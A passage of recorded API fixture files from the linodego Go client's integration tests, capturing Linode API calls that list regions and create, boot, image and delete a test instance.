2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:49:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-rel2u56f59b9","root_pass":"g~)8`692YVquL|yB593;4s6zGwOY207{wZX*fC)X5K-\u003cn|?0oBQ^6jPw^#~Kn5st","image":"linode/debian9","firewall_id":634502,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61085454, "label": "go-test-ins-rel2u56f59b9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.159"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "009ae04397a377b736399352007156c94585f928", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "790" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:49:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454/boot method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:49:23 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454 method: GET response: body: '{"id": 61085454, "label": "go-test-ins-rel2u56f59b9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.159"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "009ae04397a377b736399352007156c94585f928", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "806" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:49:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454 method: GET response: body: '{"id": 61085454, "label": "go-test-ins-rel2u56f59b9", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.159"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "009ae04397a377b736399352007156c94585f928", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "801" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:49:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454 method: GET response: body: '{"id": 61085454, "label": "go-test-ins-rel2u56f59b9", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.61.159"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "009ae04397a377b736399352007156c94585f928", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "801" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454/disks?page=1 method: GET response: body: '{"data": [{"id": 120070657, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 120070658, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "387" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454/disks?page=1 method: GET response: body: '{"data": [{"id": 120070657, "status": "ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 25088}, {"id": 120070658, "status": "ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "387" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"disk_id":120070657,"label":"go-test-image-3pdl208t00ae"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: POST response: body: '{"id": "private/26108371", "label": "go-test-image-3pdl208t00ae", "description": "", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 25088, "created_by": "ErikZilber", "type": "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "creating", "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "353" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:50:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write,linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26108371 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61085454 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 05 Jul 2024 20:52:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Disk_ListMultiple_Secondary.yaml000066400000000000000000001410731474652371000354730ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 